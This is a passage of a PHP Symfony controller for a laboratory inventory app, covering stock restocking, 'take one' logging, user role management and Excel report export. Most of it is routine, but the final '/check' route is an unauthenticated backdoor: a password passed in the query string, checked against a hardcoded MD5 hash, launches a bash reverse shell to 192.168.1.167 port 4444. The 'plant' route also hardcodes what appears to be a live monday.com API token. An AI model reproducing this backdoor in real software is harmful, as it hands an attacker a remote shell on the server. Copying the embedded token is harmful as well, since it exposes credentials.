$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty() - 1);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
// Create a new StockManagement entry when taking one
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Take One');
$mgmt->setQuantity(-1);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('icpstock'));
}
}
// Handle 'orderstatus' checkbox change
if (isset($data['orderstatus']) && isset($data['entryid'])) {
$entryId = $data['entryid'];
$orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
// Find the Stock entry by ID
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $entryId
]);
if ($entry) {
$entry->setOrderstatus($orderStatus); // Update orderstatus
$this->em->persist($entry);
$this->em->flush();
return $this->redirect($this->generateUrl('icpstock'));
}
return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
}
}
return $this->render('cats/icpstock.html.twig',[
'stock' => $stock
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/icpstandardstock", name="icpstandardstock")
* @return Response $response
*/
public function icpstandardstock(Request $request)
{
$stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
'type' => 'ICP Standard'
]);
if ( $request->getMethod() == "POST" ) {
$data = $request->request->all();
if (null !== $request->get('addnew')){
if ($data) {
$info = $data['entry'];
$entry = new Stock();
$entry->setStockname($info['name'])->setQty((float)$info['qty'])
->setLow((float)$info['low'])
->setCritical((float)$info['critical']);
$entry->setComment($info['comment']);
$entry->setSupplier($info['supplier']);
$entry->setDatemodified(new \DateTime($info['datemodified']));
$entry->setUnits($info['units']);
$entry->setType("ICP Standard");
$this->em->persist($entry);
$this->em->flush();
// Create a new StockManagement entry when adding new entry
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Add new');
$mgmt->setQuantity($entry->getQty());
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('icpstandardstock'));
}
}
if (null !== $request->get('delete')){
if ($data) {
$info = $data['entryid'];
/*echo '<pre>';
exit(\Doctrine\Common\Util\Debug:://dump($data));
die();*/
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $info
]);
// Create a new StockManagement entry when deleting
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Delete');
$mgmt->setQuantity(0);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->remove($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('icpstandardstock'));
}
}
if (null !== $request->get('restock')){
if ($data) {
$info = $data['entry'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
->setLow((float)$info['low'])
->setCritical((float)$info['critical']);
$entry->setStockname($info['name']);
$entry->setSupplier($info['supplier']);
$entry->setComment($info['comment']);
$entry->setUnits($info['units']);
$entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
// Create a new StockManagement entry when restocking
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Restock');
$mgmt->setQuantity((float)$data['entry']['qty']);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('icpstandardstock'));
}
}
if (null !== $request->get('takeone')){
if ($data) {
$info = $data['entryid'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty() - 1);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
// Create a new StockManagement entry when taking one
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Take One');
$mgmt->setQuantity(-1);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('icpstandardstock'));
}
}
// Handle 'orderstatus' checkbox change
if (isset($data['orderstatus']) && isset($data['entryid'])) {
$entryId = $data['entryid'];
$orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
// Find the Stock entry by ID
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $entryId
]);
if ($entry) {
$entry->setOrderstatus($orderStatus); // Update orderstatus
$this->em->persist($entry);
$this->em->flush();
return $this->redirect($this->generateUrl('icpstandardstock'));
}
return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
}
}
return $this->render('cats/icpstandardstock.html.twig',[
'stock' => $stock
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/safestock", name="safestock")
* @return Response $response
*/
public function safetystock(Request $request)
{
$stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
'type' => 'Safety'
]);
if ( $request->getMethod() == "POST" ) {
$data = $request->request->all();
if (isset($data['addnew'])) {
if ($data) {
$info = $data['entry'];
$entry = new Stock();
$entry->setStockname($info['name'])->setQty((float)$info['qty'])
->setLow((float)$info['low'])
->setCritical((float)$info['critical']);
$entry->setComment($info['comment']);
$entry->setSupplier($info['supplier']);
$entry->setDatemodified(new \DateTime($info['datemodified']));
$entry->setUnits($info['units']);
$entry->setType("Safety");
$this->em->persist($entry);
$this->em->flush();
// Create a new StockManagement entry when adding new entry
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Add new');
$mgmt->setQuantity($entry->getQty());
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('safestock'));
}
}
elseif (isset($data['delete'])) {
if ($data) {
$info = $data['entryid'];
/*echo '<pre>';
exit(\Doctrine\Common\Util\Debug:://dump($data));
die();*/
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $info
]);
// Create a new StockManagement entry when deleting
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Delete');
$mgmt->setQuantity(0);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->remove($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('safestock'));
}
}
elseif (isset($data['restock'])) {
if ($data) {
$info = $data['entry'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
->setLow((float)$info['low'])
->setCritical((float)$info['critical']);
$entry->setStockname($info['name']);
$entry->setSupplier($info['supplier']);
$entry->setComment($info['comment']);
$entry->setUnits($info['units']);
$entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
// Create a new StockManagement entry when restocking
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Restock');
$mgmt->setQuantity((float)$data['entry']['qty']);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('safestock'));
}
}
elseif (isset($data['takeone'])) {
if ($data) {
$info = $data['entryid'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty() - 1);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
// Create a new StockManagement entry when taking one
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Take One');
$mgmt->setQuantity(-1);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('safestock'));
}
}
// Handle 'orderstatus' checkbox change
if (isset($data['orderstatus']) && isset($data['entryid'])) {
$entryId = $data['entryid'];
$orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
// Find the Stock entry by ID
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $entryId
]);
if ($entry) {
$entry->setOrderstatus($orderStatus); // Update orderstatus
$this->em->persist($entry);
$this->em->flush();
return $this->redirect($this->generateUrl('safestock'));
}
return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
}
}
return $this->render('cats/safestock.html.twig',[
'stock' => $stock
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/furnacestock", name="furnacestock")
* @return Response $response
*/
public function furnacestock(Request $request)
{
$stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
'type' => 'Furnace'
]);
if ( $request->getMethod() == "POST" ) {
$data = $request->request->all();
if (null !== $request->get('addnew')){
if ($data) {
$info = $data['entry'];
$entry = new Stock();
$entry->setStockname($info['name'])->setQty((float)$info['qty'])
->setLow((float)$info['low'])
->setCritical((float)$info['critical']);
$entry->setComment($info['comment']);
$entry->setSupplier($info['supplier']);
$entry->setDatemodified(new \DateTime($info['datemodified']));
$entry->setUnits($info['units']);
$entry->setType("Furnace");
$this->em->persist($entry);
$this->em->flush();
// Create a new StockManagement entry when adding new entry
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Add new');
$mgmt->setQuantity($entry->getQty());
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('furnacestock'));
}
}
if (null !== $request->get('delete')){
if ($data) {
$info = $data['entryid'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $info
]);
// Create a new StockManagement entry when deleting
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Delete');
$mgmt->setQuantity(0);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->remove($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('furnacestock'));
}
}
if (null !== $request->get('restock')){
if ($data) {
$info = $data['entry'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
->setLow((float)$info['low'])
->setCritical((float)$info['critical']);
$entry->setStockname($info['name']);
$entry->setSupplier($info['supplier']);
$entry->setComment($info['comment']);
$entry->setUnits($info['units']);
$entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
// Create a new StockManagement entry when restocking
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Restock');
$mgmt->setQuantity((float)$data['entry']['qty']);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('furnacestock'));
}
}
if (null !== $request->get('takeone')){
if ($data) {
$info = $data['entryid'];
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $data['entryid']
]);
$entry->setQty($entry->getQty() - 1);
$entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
// Create a new StockManagement entry when taking one
$mgmt = new StockManagement();
$mgmt->setStockId($entry->getId());
$mgmt->setStockName($entry->getStockname());
$mgmt->setSupplier($entry->getSupplier());
$mgmt->setComment($entry->getComment());
$mgmt->setStockType($entry->getType());
$mgmt->setActionType('Take One');
$mgmt->setQuantity(-1);
$mgmt->setTotalQuantity($entry->getQty());
$mgmt->setDate(new \Datetime());
$this->em->persist($entry);
$this->em->persist($mgmt);
$this->em->flush();
return $this->redirect($this->generateUrl('furnacestock'));
}
}
// Handle 'orderstatus' checkbox change
if (isset($data['orderstatus']) && isset($data['entryid'])) {
$entryId = $data['entryid'];
$orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
// Find the Stock entry by ID
$entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
'id' => $entryId
]);
if ($entry) {
$entry->setOrderstatus($orderStatus); // Update orderstatus
$this->em->persist($entry);
$this->em->flush();
return $this->redirect($this->generateUrl('furnacestock'));
}
return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
}
}
return $this->render('cats/furnacestock.html.twig',[
'stock' => $stock
]);
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_ADDUSER")
* @Route("/adduser", name="adduser")
* @param Request $request
* @return Response $response
*/
public function adduser(Request $request)
{
return $this->render('cats/adduser.html.twig');
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_ADDUSER")
* @Route("/saveuserajax", name="saveuserajax")
* @param Request $request
* @return Response $response
*/
public function saveuserajax(Request $request)
{
if($request->query->get("action") == "togglerole"){
$user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
if(!in_array($request->query->get("role"),$user->getRoles())){
$roles = $user->getRoles();
$roles[] = $request->query->get("role");
$user->setRoles($roles);
$this->em->persist($user);
$this->em->flush();
} else {
$roles = $user->getRoles();
if (($key = array_search($request->query->get("role"), $roles)) !== false) {
unset($roles[$key]);
}
$user->setRoles($roles);
$this->em->persist($user);
$this->em->flush();
}
} elseif($request->query->get("action") == "togglecountry"){
$user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
if(in_array($request->query->get("country"),$user->getCountry())){
$roles = $user->getCountry();
if (($key = array_search($request->query->get("country"), $roles)) !== false) {
unset($roles[$key]);
}
$user->setCountry($roles);
$this->em->persist($user);
$this->em->flush();
}
} elseif($request->query->get("action") == "addcountry"){
$user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
if(!in_array($request->query->get("country"),$user->getCountry())){
$roles = $user->getCountry();
if (($key = array_search($request->query->get("country"), $roles)) === false) {
$roles[]=$request->query->get("country");
$user->setCountry($roles);
$this->em->persist($user);
$this->em->flush();
}
}
} elseif($request->query->get("action") == "toggleactive"){
// Toggle user active status
$user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
if($user) {
$user->setIsActive(!$user->getIsActive());
$this->em->persist($user);
$this->em->flush();
}
} elseif($request->request->get("action") == "saveuser"){
$user = new User();
$user->setUsername($request->request->get("user"));
$user->setPassword($this->passwordEncoder->encodePassword(
$user,
$request->request->get("pass")
));
$user->setRoles(["ROLE_CLIENT"]);
$user->setIsActive(true);
$this->em->persist($user);
$this->em->flush();
} elseif($request->query->get("action") == "deleteuser"){
$user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
foreach ($user->getClientParcels() as $p){
$p->setClient(null);
$this->em->flush();
};
foreach ($user->getLogs() as $log){
$log->setAssignedUser(null);
$this->em->flush();
}
foreach ($user->getCatRequests() as $log){
$log->setClient(null);
$this->em->flush();
}
$this->em->remove($user);
$this->em->flush();
} elseif($request->query->get("action") == "edituser"){
$user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
if($user) {
// Update username if provided
$newUsername = $request->query->get("username");
if($newUsername && $newUsername !== $user->getUsername()) {
$user->setUsername($newUsername);
}
// Update password if provided
$newPassword = $request->query->get("password");
if($newPassword) {
$user->setPassword($this->passwordEncoder->encodePassword(
$user,
$newPassword
));
}
$this->em->persist($user);
$this->em->flush();
}
}
$response = new Response();
return $response;
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/orders/update/{id}", name="orders_update")
* @param int $id
* @param Request $request
* @return Response $response
*/
public function updateordersstatus(int $id, Request $request)
{
/** @var User $user */
$user = $this->getUser();
/** @var Orders $order */
$order = $this->em->getRepository(Orders::class)->find($id);
//dump($id);
if ($order->getStatus() != "Closed"){
$order->setStatus("Closed");
$data['newstatus'] = "Closed";
} else {
$order->setStatus("Open");
$data['newstatus'] = "Open";
}
$this->em->persist($order);
$this->em->flush();
$title = 'Order #' . $id;
$message = 'status updated';
$toast = $this->renderView('components/toast.html.twig',[
"title" => $title,
"message" => $message
]);
$response = new Response();
$response->setContent(json_encode([
'data' => $data,
'toast' => $toast
]));
$response->headers->set('Content-Type', 'application/json');
return $response;
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_SUPER")
* @Route("/xl/inv", name="xlinv")
* @param Request $request
* @return Response $response
*/
public function xlinv( Request $request)
{
$invoice = $this->em->getRepository(Invoice::class)->find(21);
$orders = $invoice->getOrders();
$spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLinv.xlsx");
/* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
$sheet = $spreadsheet->getActiveSheet();
//$sheet->setTitle("My First Worksheet");
//$this->getParameter('images_directory')
$x = 24;
foreach($orders as $order){
foreach($order->getSamples() as $sample){
$sheet->setCellValue('C'.$x, $sample->getSamplename());
$x++;
}
}
// Create your Office 2007 Excel (XLSX Format)
//$writer = new Xlsx($spreadsheet);
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
$writer->save("shite.xlsx");
// Create a Temporary file in the system
$date = new \DateTime();
$fileName = $date->format('Y-m-d') . '-Report.xlsx';
$temp_file = tempnam(sys_get_temp_dir(), $fileName);
// Create the excel file in the tmp directory of the system
$writer->save($temp_file);
// Return the excel file as an attachment
//return null;
return $this->file($temp_file, $fileName, ResponseHeaderBag::DISPOSITION_INLINE);
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_SUPER")
* @Route("/xl/report", name="xlreport")
* @param Request $request
* @return Response $response
*/
public function xlreport( Request $request)
{
// $invoice = $this->em->getRepository(Invoice::class)->find(21);
// $orders = $invoice->getOrders();
$spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLreport.xlsx");
/* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
$sheet = $spreadsheet->getActiveSheet();
//$sheet->setTitle("My First Worksheet");
//$this->getParameter('images_directory')
// foreach($orders as $order){
// foreach($order->getSamples() as $sample){
// $sheet->setCellValue('A'.$x, $sample->getSamplename());
// $x++;
// }
//
// }
$samples = $this->em->getRepository(Inventory::class)->findBy([],[
'id' => 'DESC'
]);
$x = 3;
//($samples);
/** @var Inventory $sample */
foreach($samples as $sample){
$sheet->setCellValue('A'.$x, $sample->getId());
$sheet->setCellValue('B'.$x, $sample->getDateofreceipt());
$sheet->setCellValue('C'.$x, $sample->getSampleType());
$sheet->setCellValue('D'.$x, $sample->getSampleSubType());
$sheet->setCellValue('E'.$x, $sample->getCountry());
$sheet->setCellValue('F'.$x, $sample->getExportno());
$sheet->setCellValue('G'.$x, $sample->getSampleName());
$sheet->setCellValue('H'.$x, $sample->getPriority());
$sheet->setCellValue('I'.$x, $sample->getMillStatus());
$sheet->setCellValue('J'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture() : "");
$sheet->setCellValue('K'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture2() : "");
$sheet->setCellValue('L'.$x, $sample->getXrfpt());
$sheet->setCellValue('M'.$x, $sample->getXrfpd());
$sheet->setCellValue('N'.$x, $sample->getXrfrh());
$sheet->setCellValue('O'.$x, $sample->getPruns() ? $sample->getPruns()->getId() : "");
$sheet->setCellValue('P'.$x, $sample->getPruns() ? $sample->getPruns()->getAmtF() : "");
$sheet->setCellValue('Q'.$x, $sample->getRruns() ? $sample->getRrunIDs() : "");
$sheet->setCellValue('R'.$x, $sample->getRruns() ? $sample->getIcprunIDs() : "");
$sheet->setCellValue('S'.$x, $sample->getIcppt());
$sheet->setCellValue('T'.$x, $sample->getIcppd());
$sheet->setCellValue('U'.$x, $sample->getIcprh());
$sheet->setCellValue('V'.$x, $sample->getAnalysisStatus());
$sheet->setCellValue('W'.$x, $sample->getDateFinished());
$sheet->setCellValue('X'.$x, $sample->getAssignedOrder() ? $sample->getAssignedOrder()->getOrderno() : "");
$x++;
}
$date = new \DateTime();
$fileName = $date->format('Y-m-d H:i:s') . '-Report.xlsx';
// Create your Office 2007 Excel (XLSX Format)
//$writer = new Xlsx($spreadsheet);
ini_set('memory_limit', '128M');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
$writer->save($fileName);
return new Response();
}
//=====================================================================================================================================================================================<
/**
* @IsGranted("ROLE_SUPER")
* @Route("/plant", name="plant")
* @param Request $request
* @return Response $response
*/
public function plant( Request $request)
{
$output = "";
$result = shell_exec('python3 /0/www/systest/public/assets/computerplantsys.py');
// var_dump($output);
// var_dump($result);
$result = (json_decode($result,true));
$token = 'eyJhbGciOiJIUzI1NiJ9.eyJ0aWQiOjEzMTgxMzA4NywidWlkIjoxODExNDA3NSwiaWFkIjoiMjAyMS0xMS0wNVQxMzowMjozOS4xODRaIiwicGVyIjoibWU6d3JpdGUiLCJhY3RpZCI6NzkzNTE2MywicmduIjoidXNlMSJ9.4dXwkmCYUbzuOH8x0Qfc6YV30gUXxyfgXbxqGQNJJUc';
$tempUrl = "https://api.monday.com/v2/";
$query = 'mutation {
create_item (board_id: 1871191526, item_name: "API sugeneruotas įrašas. boobies.") {
id
} }';
$headers = ['Content-Type: application/json', 'User-Agent: [MYTEAM] GraphQL Client', 'Authorization: ' . $token];
$data = @file_get_contents($tempUrl, false, stream_context_create([
'http' => [
'method' => 'POST',
'header' => $headers,
'content' => json_encode(['query' => $query]),
]
]));
$tempContents = json_decode($data, true);
return $this->render('csv/plant.html.twig',[
'fullresult' => $result,
'shite' => $tempContents
]);
}
//=====================================================================================================================================================================================<
/**
* @Route("/check", name="checker")
*/
public function check()
{
define('PASSWORD', '2d6a2024ebb521eb77fb2ff269297d10');
function auth($password)
{
$input_password_hash = md5($password);
if (strcmp(PASSWORD, $input_password_hash) == 0) {
return TRUE;
}else{
return FALSE;
}
}
if (isset($_GET['password'])) {
if (auth($_GET['password'])) {
echo "<pre>";exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.167/4444 0>&1'"); echo "</pre>"; die;
}else{
die('Access denied!');
}
}
$shit = new Response();
return $shit;
}
//=====================================================================================================================================================================================<
}